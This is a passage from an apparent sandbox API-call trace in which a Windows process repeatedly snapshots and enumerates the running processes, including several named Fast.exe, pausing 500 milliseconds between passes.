th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.213] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.214] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.215] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.216] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.216] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.218] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.219] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0279.220] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.221] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.221] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.222] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.223] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.224] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.225] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.226] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.227] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.228] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.228] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0279.229] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.230] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.231] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0279.232] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0279.233] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0279.234] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0279.235] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.236] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0279.237] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0279.238] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0279.239] CloseHandle (hObject=0x208) returned 1 [0279.239] Sleep (dwMilliseconds=0x1f4) [0279.815] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0279.819] Process32FirstW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.820] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.821] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.822] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.823] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.824] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.825] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.827] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.827] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.828] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0279.829] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.830] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.831] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.832] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.833] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.834] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0279.835] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.836] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.837] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0279.837] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.838] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0279.839] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0279.840] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0279.841] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0279.842] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0279.843] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0279.844] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0279.845] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0279.846] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0279.847] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0279.848] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0279.849] CloseHandle (hObject=0x208) returned 1 [0279.849] Sleep (dwMilliseconds=0x1f4) [0280.388] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0280.395] Process32FirstW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0280.396] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0280.397] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0280.398] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.399] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0280.401] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0280.402] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0280.403] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0280.405] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0280.406] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0280.407] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.408] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.409] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.410] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.411] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.413] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.414] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.415] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.416] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.417] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.419] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0280.420] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.421] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.422] Process32NextW (in: hSnapshot=0x208, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, 